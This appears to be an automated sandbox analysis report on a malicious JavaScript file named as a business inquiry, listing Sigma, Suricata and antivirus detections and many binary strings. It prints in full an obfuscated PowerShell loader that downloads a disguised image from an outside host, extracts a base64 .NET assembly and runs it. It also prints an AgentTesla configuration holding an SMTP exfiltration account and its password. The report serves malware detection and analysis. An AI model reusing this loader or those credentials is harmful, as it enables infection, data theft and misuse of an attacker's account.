? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ?
                      Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                      Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", ProcessId: 7472, ProcessName: wscript.exe
                      Sigma detected: Non Interactive PowerShell Process Spawned
                      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ?

                      Data Obfuscation

                      barindex
                      Sigma detected: Powershell download and load assembly
                      Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ?

                      Suricata Signatures

                      Timestamp:2024-08-30T10:38:57.090961+0200
                      SID:2049038
                      Severity:1
                      Source Port:443
                      Destination Port:49705
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:2024-08-30T10:38:59.354996+0200
                      SID:2020423
                      Severity:1
                      Source Port:443
                      Destination Port:49706
                      Protocol:TCP
                      Classtype:Exploit Kit Activity Detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Antivirus detection for URL or domain
                      Source: https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpgAvira URL Cloud: Label: malware
                      Found malware configuration
                      Source: 7.2.RegAsm.exe.400000.0.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.zoho.eu", "Username": "logs@astonherald.com", "Password": "office12#"}
                      Source: unknownHTTPS traffic detected: 207.241.227.86:443 -> 192.168.2.8:49705 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 78.142.208.13:443 -> 192.168.2.8:49706 version: TLS 1.2
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdbX source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
                      Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000004.00000002.1569282642.000001A8F1860000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmp
